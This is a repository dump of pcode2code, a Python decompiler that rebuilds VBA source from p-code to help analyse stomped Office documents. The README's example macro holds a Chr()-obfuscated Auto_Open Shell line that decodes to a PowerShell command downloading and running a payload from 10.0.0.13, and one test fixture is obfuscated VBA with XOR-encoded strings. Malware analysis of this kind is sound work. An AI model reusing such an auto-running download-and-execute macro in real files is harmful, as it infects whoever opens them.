├── LICENSE
├── MANIFEST.in
├── README.md
├── pcode2code
├── __init__.py
└── pcode2code.py
├── setup.cfg
├── setup.py
└── tests
├── Book123.xlsm
├── Book123_EvilClippy.xlsm
├── __init__.py
├── integration
├── __init__.py
├── assert
│ ├── assert
│ └── input
├── integration_tests.py
├── loops
│ ├── input
│ └── loops
├── macaroni
│ ├── expected
│ └── macaroni
├── mal1
│ ├── mal1
│ └── pcodedmp
├── more
│ ├── input
│ └── more
├── more2
│ ├── input
│ └── more2
└── select_case
│ ├── input
│ └── select_case
├── integration_tests2.py
├── output.txt
├── output2.txt
├── see_other
├── tests4.docm
└── tests4_EvilClippy.docm
├── tests2.xlsm
├── tests2_EvilClippy.xlsm
├── tests3.xlsm
├── tests3_EvilClippy.xlsm
├── tests4.docm
└── tests4_EvilClippy.docm
/LICENSE:
--------------------------------------------------------------------------------
1 | GNU GENERAL PUBLIC LICENSE
2 | Version 3, 29 June 2007
3 |
4 | a vba p-code decompiler based on pcodedmp
5 | Copyright (C) 2019 Nicolas Zilio
6 |
7 | This program is free software: you can redistribute it and/or modify
8 | it under the terms of the GNU General Public License as published by
9 | the Free Software Foundation, either version 3 of the License, or
10 | (at your option) any later version.
11 |
12 | This program is distributed in the hope that it will be useful,
13 | but WITHOUT ANY WARRANTY; without even the implied warranty of
14 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
15 | GNU General Public License for more details.
16 |
17 | You should have received a copy of the GNU General Public License
18 | along with this program. If not, see .
19 |
20 | Also add information on how to contact you by electronic and paper mail.
21 |
22 | You should also get your employer (if you work as a programmer) or school,
23 | if any, to sign a "copyright disclaimer" for the program, if necessary.
24 | For more information on this, and how to apply and follow the GNU GPL, see
25 | .
26 |
27 | The GNU General Public License does not permit incorporating your program
28 | into proprietary programs. If your program is a subroutine library, you
29 | may consider it more useful to permit linking proprietary applications with
30 | the library. If this is what you want to do, use the GNU Lesser General
31 | Public License instead of this License. But first, please read
32 | .
33 |
34 |
--------------------------------------------------------------------------------
/MANIFEST.in:
--------------------------------------------------------------------------------
1 | include LICENSE
2 | include README.md
3 |
4 | recursive-include tests *
5 | recursive-exclude * __pycache__
6 | recursive-exclude * *.py[co]
7 |
8 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # pcode2code.py - A VBA p-code decompiler
2 |
3 | ## What is it?
4 |
5 | In 2019, [EvilClippy](https://github.com/outflanknl/EvilClippy) tool made easily available for any attacker to dispose of an Office document where the macro code is transformed directly into bytecode. For any reference, please check [this](https://medium.com/walmartlabs/vba-stomping-advanced-maldoc-techniques-612c484ab278) or [this](https://vbastomp.com/). To be able to analyze such "stomped" documents, Dr. Bontchev ([@VessOnSecurity](https://twitter.com/VessOnSecurity)) released [pcodedmp](https://github.com/bontchev/pcodedmp), a tool printing out the VBA bytecode of a document in a readable manner. However, the output might be still hardly readable and analyzable (please check out macaroni in tests folder). As such, pcode2code decompiles, based on [pcodedmp](https://github.com/bontchev/pcodedmp)'s output, the VBA code.
6 |
7 | ## Kudos
8 |
9 | Huge Kudos to Dr. Bontchev ([@VessOnSecurity](https://twitter.com/VessOnSecurity)) who made all the hard work. Just figured out how much time should have been needed for pcodedmp to work.
10 |
11 | ## example
12 |
13 | Let's consider a document, whose code is the following:
14 |
15 | ```
16 | Sub Auto_Open()
17 | Dim exec As String
18 | Dim testvar As String
19 | Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
20 | End Sub
21 | ```
22 |
23 | If you use pcodedmp on this document, you will obtain the following output:
24 |
25 | ```
26 | VBA/ThisDocument - 2809 bytes
27 | Line #0:
28 | FuncDefn (Sub Auto_Open())
29 | Line #1:
30 | Dim
31 | VarDefn exec (As String)
32 | Line #2:
33 | Dim
34 | VarDefn testvar (As String)
35 | Line #3:
36 | LitDI2 0x0070
37 | ArgsLd Chr 0x0001
38 | LitDI2 0x006F
39 | ArgsLd Chr 0x0001
40 | Concat
41 | LitDI2 0x0077
42 | ArgsLd Chr 0x0001
43 | Concat
44 | LitDI2 0x0065
45 | ArgsLd Chr 0x0001
46 | Concat
47 | LitDI2 0x0072
48 | ArgsLd Chr 0x0001
49 | Concat
50 | LitDI2 0x0073
51 | ArgsLd Chr 0x0001
52 | Concat
53 | LitDI2 0x0068
54 | ArgsLd Chr 0x0001
55 | Concat
56 | LitDI2 0x0065
57 | ArgsLd Chr 0x0001
58 | Concat
59 | [ .... -> 252 more lines like this]
60 | LitDI2 0x0029
61 | ArgsLd Chr 0x0001
62 | Concat
63 | LitDI2 0x0029
64 | ArgsLd Chr 0x0001
65 | Concat
66 | ArgsCall Shell 0x0001
67 | Line #4:
68 | EndSub
69 | ```
70 |
71 | If you use pcode2code, the output will be the following:
72 |
73 | ```
74 | stream : VBA/ThisDocument - 2809 bytes
75 | ########################################
76 |
77 | Sub Auto_Open()
78 | Dim exec As String
79 | Dim testvar As String
80 | Shell Chr(112) & Chr(111) & Chr(119) & Chr(101) & Chr(114) & Chr(115) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(101) & Chr(120) & Chr(101) & Chr(32) & Chr(73) & Chr(69) & Chr(88) & Chr(32) & Chr(40) & Chr(40) & Chr(110) & Chr(101) & Chr(119) & Chr(45) & Chr(111) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116) & Chr(32) & Chr(110) & Chr(101) & Chr(116) & Chr(46) & Chr(119) & Chr(101) & Chr(98) & Chr(99) & Chr(108) & Chr(105) & Chr(101) & Chr(110) & Chr(116) & Chr(41) & Chr(46) & Chr(100) & Chr(111) & Chr(119) & Chr(110) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(115) & Chr(116) & Chr(114) & Chr(105) & Chr(110) & Chr(103) & Chr(40) & Chr(39) & Chr(104) & Chr(116) & Chr(116) & Chr(112) & Chr(58) & Chr(47) & Chr(47) & Chr(49) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(48) & Chr(46) & Chr(49) & Chr(51) & Chr(47) & Chr(112) & Chr(97) & Chr(121) & Chr(108) & Chr(111) & Chr(97) & Chr(100) & Chr(46) & Chr(116) & Chr(120) & Chr(116) & Chr(39) & Chr(41) & Chr(41)
81 | End Sub
82 | ```
83 |
84 |
85 |
86 | ## Installation
87 |
88 | The script will work both in Python version 2.6+ and in Python 3.x. The simplest way to install it is from [PyPi](https://pypi.org/) with `pip`:
89 |
90 | pip install pcode2code -U
91 |
92 | The above command will install the latest version of `pcode2code` (upgrading an older one if it already exists) with `pcodedmp` as a dependency. Indeed, it permits to have all the functionalities of the tool.
93 |
94 | If you would rather install it from the GitHub repository, you can do it like this:
95 |
96 | git clone
97 | cd pcode2code
98 | pip install .
99 |
100 | ## Usage
101 |
102 | The script takes as a command-line argument either an OLE2 document which has been stomped, or the dump of a previously analyzed document with pcodedmp. In the latter, you should use the `-p` option. By default, the output of the processing is printed on console and should be valid VBA code.
103 |
104 | The script also accepts the following command-line options:
105 |
106 | `-h`, `--help` Displays a short explanation how to use the script and what the command-line options are.
107 |
108 | `-v`, `--version` Displays the version of the script.
109 |
110 | `-n`, `--linenum` Indicates if line numbers should be included within the output. Please pay attention the output code is no more valid as a VBA code.
111 |
112 | `-p`, `--pcodedump` Indicates if the input is a previously pcodedmp's dump.
113 |
114 | `-o OUTFILE`, `--output OUTFILE` Save the results to the specified output file, instead of sending it to the standard output.
115 |
116 | `-d`, `--debug` Used for debugging and development purposes. Here, exceptions are not handled making the script interrupted for any error.
117 |
118 | ## API
119 |
120 | The module can be imported as such in your python script (if it's in your path)
121 |
122 | import pcode2code
123 |
124 | While i let all functions to be available, the following function should be used:
125 |
126 | - `process(inputfile, outputfile=None, ispcodedump=False, linenum=False, isdebug=False)` :
127 |
128 | realize the decompiling operation on an input.
129 | args are the following : inputfile = file to be processed, outputfile = where to write, writes to stdout by default, ispcodedump = if the input file is a previous dump of pcodedmp use this, linenum : line numbers are to be printed in the output, isdebug : wether debugging mode should be used.
130 |
131 | Here is an example
132 | ```python
133 | import pcode2code
134 | pcode2code.process('~/evil.docm', 'output.txt')
135 | ```
136 |
137 | ## Found a bug?
138 |
139 | Before submitting an issue, please checks the following point:
140 |
141 | - your error is a generic python error/ you have a "generic exception occured" printed on screen:
142 | - Well, just submit the error found, with the attached document.
143 |
144 | - you get some "Pcode2codeException" error:
145 | - First, run pcodedmp on your document, and locate the problematic line and the problematic opcode
146 | - Second, check if the opcode is already known to be problematic for pcodedmp (on its README) or if it's already in the known problems (below)
147 | - if not, please submit your document, the problem, as well as the corresponding output of pcodedmp
148 | - if yes, well you should just wait for a new version (or contribute by yourself :) )
149 |
150 | - you cross-checked with the original program, and the output is wrong, even if not exception occured.
151 | - in this case, you should run pcodedmp on your document, and check first if pcodedmp output is meaningful (this tool relies on it)
152 | - if yes, then submit your bug with the document
153 | - if not, please ask @VessOnSecurity
154 |
155 | ## Known problems
156 |
157 | - all limitations of [pcodedmp](https://github.com/bontchev/pcodedmp) apply here
158 | - Enum are translated as Type, based on pcodedmp's output
159 | - the following bytecode commands are not supported now: scale, all commands related to index, implements,
160 | - any date literal or floating point literal is not transformed back to its original form (If you now how to transform the bytes into the literal, please contact me)
161 |
162 | ## Contributing
163 |
164 | I'm fully open to any contribution, as tiny as it is. Don't hesitate to mail me or to ping me on twitter.
165 |
166 | ## To be done
167 |
168 | - Provide a correct contributing guide, and make the code follows coding standards
169 | - There is always room for improvement, at least, it could be good to provide all correct opcodes translation
170 | - Provide a mean to detect automatically previous dump or OLE2
171 |
172 |
173 | ## Change log
174 |
175 | 21 nov 2019 : version 1.0 released
176 |
177 | 25 nov 2019: version 1.1 released
178 | - several corrections made based on @VessOnSecurity throw-back.
179 |
180 | ## Contributors
181 |
182 | - Zilio Nicolas, author
183 |
184 |
185 | ## To go further
186 |
187 | Obtaining the code might not be sufficient enough for an easy analysis. Don't hesitate to give a try to [SourceFu](https://github.com/Big5-sec/SourceFu) to deobfuscate the code, or create a document and use [ViperMonkey](https://github.com/decalage2/ViperMonkey).
188 |
--------------------------------------------------------------------------------
/pcode2code/__init__.py:
--------------------------------------------------------------------------------
1 | from .pcode2code import *
--------------------------------------------------------------------------------
/setup.cfg:
--------------------------------------------------------------------------------
1 | [bumpversion]
2 | current_version = 0.1.1
3 | commit = True
4 | tag = True
5 |
6 | [bumpversion:file:setup.py]
7 | search = version='{current_version}'
8 | replace = version='{new_version}'
9 |
10 | [bumpversion:file:pcode2code/__init__.py]
11 | search = __version__ = '{current_version}'
12 | replace = __version__ = '{new_version}'
13 |
14 | [bdist_wheel]
15 | universal = 1
16 |
17 | [flake8]
18 | exclude = docs
19 |
20 | [aliases]
21 | # Define setup.py command aliases here
22 |
23 |
--------------------------------------------------------------------------------
/setup.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python
2 | # -*- coding: utf-8 -*-
3 |
4 | """The setup script."""
5 |
6 | from setuptools import setup, find_packages
7 |
8 | with open('README.md') as readme_file:
9 | readme = readme_file.read()
10 |
11 | #with open('HISTORY.rst') as history_file:
12 | # history = history_file.read()
13 |
14 | requirements = ["pcodedmp"]
15 |
16 | setup_requirements = [ ]
17 |
18 | test_requirements = [ ]
19 |
20 | setup(
21 | author="Nicolas Zilio",
22 | author_email='nicolas.zilio@hotmail.fr',
23 | python_requires='>=2.7, !=3.0.*, !=3.1.*, !=3.2.*, !=3.3.*, !=3.4.*',
24 | classifiers=[
25 | 'Development Status :: 2 - Pre-Alpha',
26 | 'Intended Audience :: Developers',
27 | 'License :: OSI Approved :: GNU General Public License v3 (GPLv3)',
28 | 'Natural Language :: English',
29 | "Programming Language :: Python :: 2",
30 | 'Programming Language :: Python :: 2.7',
31 | 'Programming Language :: Python :: 3',
32 | 'Programming Language :: Python :: 3.5',
33 | 'Programming Language :: Python :: 3.6',
34 | 'Programming Language :: Python :: 3.7',
35 | ],
36 | description="a vba p-code decompiler based on pcodedmp",
37 | entry_points={
38 | 'console_scripts': [
39 | 'pcode2code=pcode2code.pcode2code:main',
40 | ],
41 | },
42 | install_requires=requirements,
43 | license="GNU General Public License v3",
44 | long_description=readme + '\n\n', # + history,
45 | long_description_content_type = 'text/markdown',
46 | include_package_data=True,
47 | keywords='pcode2code',
48 | name='pcode2code',
49 | packages=find_packages(include=['pcode2code', 'pcode2code.*']),
50 | setup_requires=setup_requirements,
51 | test_suite='tests',
52 | tests_require=test_requirements,
53 | url='https://github.com/Big5_sec/pcode2code',
54 | version='0.1.1',
55 | zip_safe=False,
56 | )
57 |
--------------------------------------------------------------------------------
/tests/Book123.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/Book123.xlsm
--------------------------------------------------------------------------------
/tests/Book123_EvilClippy.xlsm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/Book123_EvilClippy.xlsm
--------------------------------------------------------------------------------
/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/__init__.py
--------------------------------------------------------------------------------
/tests/integration/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/__init__.py
--------------------------------------------------------------------------------
/tests/integration/assert/assert:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/assert/assert
--------------------------------------------------------------------------------
/tests/integration/assert/input:
--------------------------------------------------------------------------------
1 | Option Explicit
2 | Private blnAssert As Boolean
3 | Private intNumber As Integer
4 |
5 | Private Sub Command1_Click()
6 | blnAssert = Not blnAssert
7 | intNumber = IIf(intNumber <> 0, 0, 1)
8 | Command1.Caption = intNumber
9 | End Sub
10 |
11 | Private Sub Command2_Click()
12 | Debug.Assert blnAssert
13 | End Sub
14 |
15 | Private Sub Form_Load()
16 | Command1.Caption = intNumber
17 | Command2.Caption = "Assert Tester"
18 | End Sub
19 |
--------------------------------------------------------------------------------
/tests/integration/integration_tests.py:
--------------------------------------------------------------------------------
1 | import unittest
2 | import sys
3 | import os
4 | import pcode2code
5 |
6 | class Processor():
7 |
8 | def __init__(self):
9 | pass
10 |
11 | def check_output(self, original, input_):
12 | debug = True
13 | originallines = original.splitlines()
14 | splittedinput = input_.splitlines()
15 | lines=[]
16 | outputval = True
17 |
18 | # we parse each lines, and cut them by line blocks, to put them in "lines"
19 | for inputLine in splittedinput:
20 | inputLine = inputLine.strip()
21 | """
22 | if inputLine.startswith('Line '):
23 | lines.append(inputLine.split(':')[1])
24 | """
25 | lines.append(inputLine)
26 |
27 | if len(originallines) != len(lines):
28 | print '\t[!] Number of Lines differ\r\n'
29 | outputval = False
30 |
31 | i = 0
32 | defects = 0
33 |
34 | if len(originallines) > len(lines):
35 | for aline in lines:
36 | if aline != originallines[i].strip():
37 | if debug:
38 | print('\t[!] line ' + str(i) + ' mismatch')
39 | print('\t[!] original line: ' + originallines[i].strip())
40 | print('\t[!] current line: ' + aline)
41 | print('')
42 | defects += 1
43 | i += 1
44 |
45 | if len(originallines) <= len(lines):
46 | for aline in originallines:
47 | print aline
48 | if aline.strip() != lines[i]:
49 | if debug:
50 | print '\t[!] line ' + i + 'mismatch'
51 | print '\t\toriginal line: ' + aline.strip()
52 | defects += 1
53 | i += 1
54 |
55 | if defects > 0:
56 | print '\t[!] current mismatchs : ' + str(defects)
57 | print '\t[!] score : ' + str(100 - ((defects*1.0)/i)*100) +'%'
58 | outputval = False
59 |
60 | return outputval
61 |
62 | def readfile(self, path):
63 | return open(path, 'r').read()
64 |
65 | def process_tests(self, path):
66 | subdirs = [x[0] for x in os.walk(path)]
67 | subdirs.pop(0) # avoid base dir
68 | testsok = 0
69 | totaltests = 0
70 | for dir_ in subdirs:
71 | print '[+] processing ' + dir_
72 | outfile = pcode2code.process(self.readfile(dir_ + '/' + os.path.split(dir_)[1]))
73 | expectedfile = self.readfile(dir_ + '/expected')
74 | r = self.check_output(expectedfile, outfile)
75 | if r:
76 | testsok +=1
77 | totaltests +=1
78 | print('[+] output: ' + str(testsok) + '/' + str(totaltests) +' tests succeeded')
79 |
80 |
81 |
82 | class TestOutput(unittest.TestCase):
83 |
84 | def __init__(self, *args, **kwargs):
85 | super(TestOutput, self).__init__(*args, **kwargs)
86 | self.processor = Processor()
87 |
88 | def testing(self):
89 | dirname, filename = os.path.split(os.path.abspath(__file__))
90 | self.processor.process_tests(dirname)
91 | self.assertEqual(1,2)
92 |
93 |
94 |
95 | if __name__ == '__main__':
96 | unittest.main()
97 |
98 |
99 |
100 |
--------------------------------------------------------------------------------
/tests/integration/loops/input:
--------------------------------------------------------------------------------
1 | Sub TestLoop5()
2 | Dim Reponse As String
3 | Reponse = InputBox("Entrez le mot de passe")
4 |
5 | Do While Reponse <> "youpi"
6 | Reponse = InputBox("Mauvaise réponse. Essayez encore")
7 | Loop
8 | End Sub
9 |
10 | Sub TestLoop4()
11 | Dim Reponse As Integer
12 | MsgBox "Début" ' Une seule fois avant la boucle
13 |
14 | Do
15 | Reponse = InputBox("Entrez un chiffre")
16 | Loop While Reponse = 5
17 |
18 | MsgBox "Fin" ' Une seule fois après la boucle
19 | End Sub
20 |
21 | Sub TestLoop7()
22 | Dim Reponse As String
23 | Reponse = InputBox("Entrez le mot de passe")
24 | Do Until Reponse = "youpi"
25 | Reponse = InputBox("Mauvaise réponse. Essayez encore")
26 | Loop
27 | End Sub
28 |
29 | Sub boucle_while()
30 |
31 | Dim numero As Integer
32 | numero = 1 'Numéro de départ (correspond ici au n° de ligne et au n° de numérotation)
33 |
34 | While numero <= 12 'TANT QUE la variable numero est <= 12, la boucle est répétée
35 | Cells(numero, 1) = numero 'Numérotation
36 | numero = numero + 1 'Le numéro est augmenté de 1 à chaque boucle
37 | Wend
38 |
39 | End Sub
40 |
--------------------------------------------------------------------------------
/tests/integration/loops/loops:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/Big5-sec/pcode2code/65ae9832884bb0ebba16f96df257e387d427cd72/tests/integration/loops/loops
--------------------------------------------------------------------------------
/tests/integration/macaroni/expected:
--------------------------------------------------------------------------------
1 | module1
2 | ========
3 |
4 |
5 |
6 | Dim lkvpupxa As String
7 |
8 | Dim lkvpupxa2 As String
9 |
10 | Dim lkvpupxa4 As String
11 |
12 | Dim hiz7dgus As String
13 |
14 | Private Const DefaultBufferSize& = 32768
15 |
16 | Private CRC_32_Tab(0 To 255) As Long
17 |
18 | Function giqw(str As String) As Variant: Dim bytes() As Byte: bytes = str: giqw = bytes: End Function
19 | Function e0jt(bytes() As Byte) As String: Dim str As String: str = bytes: e0jt = str: End Function
20 |
21 | Function smmoy975(str As String) As String
22 | Const p_ As String = "n4udh903"
23 | Dim sb_() As Byte, pb_() As Byte
24 | sb_ = giqw(str)
25 | pb_ = giqw(p_)
26 |
27 | Dim uL As Long
28 | uL = UBound(sb_)
29 |
30 | ReDim scb_(0 To uL) As Byte
31 |
32 | Dim idx As Long
33 |
34 | For idx = LBound(sb_) To uL:
35 | If Not sb_(idx) = 0 Then
36 | c = sb_(idx)
37 | For i = 0 To UBound(pb_):
38 | c = c Xor pb_(i)
39 | Next i
40 | scb_(idx) = c
41 | End If
42 |
43 | Next idx
44 |
45 | smmoy975 = e0jt(scb_)
46 | End Function
47 |
48 | Sub Auto_Open()
49 | lkvpupxa2 = smmoy975("""" & Chr(54) & Chr(48) & "") & Chr(16) & smmoy975("~" & "I" & "" & "+") & Chr(9) & Chr(14) & Chr(3) & smmoy975("6") & Chr(27) & Chr(19) & smmoy975(Chr(68) & "" & Chr(111) & "" & Chr(123) & "" & Chr(39)) & Chr(17) & Chr(13) & smmoy975("T" & Chr(92) & "Y" & smmoy975(Chr(36) & "") & "" & Chr(55) & Chr(43) & "n") & Chr(1) & smmoy975(Chr(65) & Chr(45)) & Chr(28) & smmoy975("t") & Chr(0) & smmoy975(Chr(111) & "")
50 |
51 | lkvpupxa4 = smmoy975("[" & "") & Chr(28) & smmoy975("W" & "" & "1" & "" & "G" & "d" & "") & Chr(30) & smmoy975("1" & "Y" & Chr(120) & "G" & Chr(56) & "[" & "" & Chr(42) & "") & Chr(17) & Chr(34) & smmoy975(Chr(115) & Chr(117) & "" & "t" & "") & smmoy975(Chr(36) & "") & Chr(6) & Chr(7) & smmoy975("[" & "") & Chr(127) & Chr(92) & Chr(16) & smmoy975("\" & Chr(124) & "") & Chr(31) & smmoy975("R" & "") & Chr(6) & smmoy975(Chr(89) & "@" & "")
52 |
53 | deuhdedek = smmoy975(Chr(77) & "" & "v" & "" & "9" & "" & "x" & "" & "z" & Chr(122) & Chr(124) & Chr(106) & "" & "j" & "" & "9" & "" & Chr(109) & "q" & "" & Chr(124) & "" & "9" & "i" & Chr(107) & "v" & "" & "m" & Chr(124) & "" & "z" & "" & "m" & "|" & Chr(125) & "" & "9" & Chr(122) & Chr(118) & "" & "w" & Chr(109) & "" & "|" & Chr(119) & "" & "m" & Chr(53) & "" & "9" & Chr(105) & Chr(117) & "" & Chr(124) & Chr(120) & "" & Chr(106) & Chr(124) & "" & "9" & Chr(124) & "w" & "" & "m" & Chr(124) & "" & Chr(107) & "9" & "" & Chr(109) & "" & Chr(113) & Chr(124) & "9" & "v" & Chr(105) & "|" & "" & Chr(107) & Chr(120) & Chr(109) & "p" & "" & "v" & Chr(119) & Chr(57) & Chr(122) & "" & "v" & Chr(125) & "" & "|" & "" & Chr(35) & "")
54 |
55 | Dim ch62aq9u As String
56 |
57 | ch62aq9u = InputBox(deuhdedek)
58 |
59 | If Len(ch62aq9u) <> 10 Then
60 |
61 | MsgBox smmoy975("N" & "q" & "" & Chr(120) & "m" & "9" & Chr(120) & "" & Chr(107) & Chr(124) & "9" & "`" & "" & Chr(118) & "" & Chr(108) & "" & "9" & "" & Chr(109) & "k" & Chr(96) & "p" & "w" & "" & "~" & Chr(57) & "m" & "" & Chr(118) & Chr(57) & "" & Chr(125) & Chr(118) & "9" & "" & Chr(122) & Chr(118) & "" & Chr(116) & "" & "k" & Chr(120) & Chr(125) & Chr(38))
62 |
63 | End
64 |
65 | End If
66 |
67 | If CalcStr(ch62aq9u) = smmoy975("." & "" & "." & ")" & "." & "*" & ")" & "" & Chr(32) & "" & Chr(47) & "") Then
68 |
69 | lkvpupxa = smmoy975(Chr(82) & Chr(94) & Chr(91) & "" & "9" & "" & Chr(112) & "" & Chr(106) & Chr(57) & "" & "p" & Chr(116) & "" & Chr(105) & "|" & "w" & "|" & "" & "m" & Chr(107) & "x" & "" & Chr(123) & "u" & "" & Chr(124) & "5" & "" & Chr(57) & Chr(126) & "" & Chr(118) & "9" & "" & "x" & "" & "n" & "" & "x" & "" & Chr(96) & "" & "8" & "" & "9" & "[" & "" & Chr(96) & "9" & "" & "m" & "" & "q" & "" & Chr(124) & Chr(57) & "n" & "" & "x" & "" & Chr(96) & "" & Chr(53) & "9" & "" & Chr(96) & "" & Chr(118) & "" & "l" & "9" & "" & "r" & "p" & Chr(117) & "u" & "" & Chr(124) & "" & "}" & "" & Chr(57) & "" & Chr(96) & Chr(118) & Chr(108) & "" & "k" & Chr(106) & "" & "|" & "" & Chr(117) & Chr(127))
70 |
71 | hiz7dgus = ch62aq9u
72 |
73 | ww8wn9l2
74 |
75 | Else
76 |
77 | lkvpupxa = smmoy975(Chr(74) & Chr(118) & Chr(114) & Chr(120) & "5" & "" & "9" & "" & Chr(112) & "" & Chr(57) & Chr(114) & "w" & "" & Chr(118) & "" & Chr(110) & "" & Chr(57) & "" & "`" & "" & smmoy975(Chr(111) & "") & "" & "l" & "" & Chr(62) & "" & "k" & "|" & "" & Chr(57) & Chr(119) & smmoy975(Chr(111) & "") & "m" & "" & Chr(57) & "" & "" & Chr(107) & smmoy975(Chr(111) & "") & "t" & "9" & Chr(82) & "^" & "" & "[" & Chr(56) & "" & Chr(57) & "" & "@" & Chr(118) & "" & Chr(108) & "" & Chr(62) & "k" & "|" & "9" & "X" & Chr(116) & "|" & "" & "k" & "p" & "" & Chr(122) & Chr(120) & "" & "w" & "8" & Chr(57) & "" & "@" & "" & smmoy975(Chr(111) & "") & Chr(108) & "" & Chr(57) & Chr(106) & "" & "r" & Chr(107) & "" & "p" & Chr(105) & Chr(120) & "u" & "" & "9" & "`" & Chr(118) & "" & Chr(108) & "" & Chr(107) & "" & "j" & Chr(124) & "" & "u" & "" & Chr(127) & "")
78 |
79 | hiz7dgus = ch62aq9u
80 |
81 | End If
82 |
83 | vkls0ddi
84 |
85 | bgfa0qmq
86 |
87 | hgn5rk3f
88 |
89 | End Sub
90 |
91 | Sub vkls0ddi()
92 | X0 = Asc(Mid(hiz7dgus, 1, 1))
93 |
94 | X1 = Asc(Mid(hiz7dgus, 2, 1))
95 |
96 | X2 = Asc(Mid(hiz7dgus, 3, 1))
97 |
98 | X3 = Asc(Mid(hiz7dgus, 4, 1))
99 |
100 | X4 = Asc(Mid(hiz7dgus, 5, 1))
101 |
102 | X5 = Asc(Mid(hiz7dgus, 6, 1))
103 |
104 | X6 = Asc(Mid(hiz7dgus, 7, 1))
105 |
106 | X7 = Asc(Mid(hiz7dgus, 8, 1))
107 |
108 | X8 = Asc(Mid(hiz7dgus, 9, 1))
109 |
110 | X9 = Asc(Mid(hiz7dgus, 10, 1))
111 |
112 |
113 |
114 | If (X0 Xor X3) = 48 Then
115 |
116 | If (X1 + X3) = 215 Then
117 |
118 | If (X9 - X1) = -68 Then
119 |
120 | If X4 < 101 Then
121 |
122 | If (X4 Xor 127) = 32 Then
123 |
124 | If (X1 * X4) = 9595 Then
125 |
126 | If (X7 + X1 + X5 - X6) = 243 Then
127 |
128 | If (X7 - X5 + X6) = 72 Then
129 |
130 | If (X7 + X5 + X6) = 238 Then
131 |
132 | If (X2 + X8) < 104 Then
133 |
134 | If (X2 + X8) >= 103 Then
135 |
136 | If (X8 + X1) = 153 Then
137 |
138 | If (X9 + X1 + X8) = 216 Then
139 |
140 | lkvpupxa = scramble2(lkvpupxa2)
141 |
142 | End
143 |
144 | End If
145 |
146 | End If
147 |
148 | End If
149 |
150 | End If
151 |
152 | End If
153 |
154 | End If
155 |
156 | End If
157 |
158 | End If
159 |
160 | End If
161 |
162 | End If
163 |
164 | End If
165 |
166 | End If
167 |
168 | End If
169 |
170 | End Sub
171 |
172 | Sub bgfa0qmq()
173 | X0 = Asc(Mid(hiz7dgus, 1, 1))
174 |
175 | X1 = Asc(Mid(hiz7dgus, 2, 1))
176 |
177 | X2 = Asc(Mid(hiz7dgus, 3, 1))
178 |
179 | X3 = Asc(Mid(hiz7dgus, 4, 1))
180 |
181 | X4 = Asc(Mid(hiz7dgus, 5, 1))
182 |
183 | X5 = Asc(Mid(hiz7dgus, 6, 1))
184 |
185 | X6 = Asc(Mid(hiz7dgus, 7, 1))
186 |
187 | X7 = Asc(Mid(hiz7dgus, 8, 1))
188 |
189 | X8 = Asc(Mid(hiz7dgus, 9, 1))
190 |
191 | X9 = Asc(Mid(hiz7dgus, 10, 1))
192 |
193 |
194 |
195 | If (X0 Xor X3) = 48 Then
196 |
197 | If (X1 + X3) = 215 Then
198 |
199 | If (X9 - X1) = -68 Then
200 |
201 | If X4 < 101 Then
202 |
203 | If (X4 Xor 127) = 41 Then
204 |
205 | If (X1 * X4) = 8686 Then
206 |
207 | If (X7 + X1 + X5 - X6) = 124 Then
208 |
209 | If (X7 - X5 + X6) = 127 Then
210 |
211 | If (X7 + X5 + X6) = 223 Then
212 |
213 | If (X2 + X8) < 118 Then
214 |
215 | If (X2 + X8) >= 117 Then
216 |
217 | If (X8 + X1) = 153 Then
218 |
219 | If (X9 + X1 + X8) = 186 Then
220 |
221 | lkvpupxa = scramble3(lkvpupxa2)
222 |
223 | End If
224 |
225 | End If
226 |
227 | End If
228 |
229 | End If
230 |
231 | End If
232 |
233 | End If
234 |
235 | End If
236 |
237 | End If
238 |
239 | End If
240 |
241 | End If
242 |
243 | End If
244 |
245 | End If
246 |
247 | End If
248 |
249 | z4xmcgar
250 |
251 | End Sub
252 |
253 |
254 |
255 | Sub z4xmcgar()
256 | x = 2
257 |
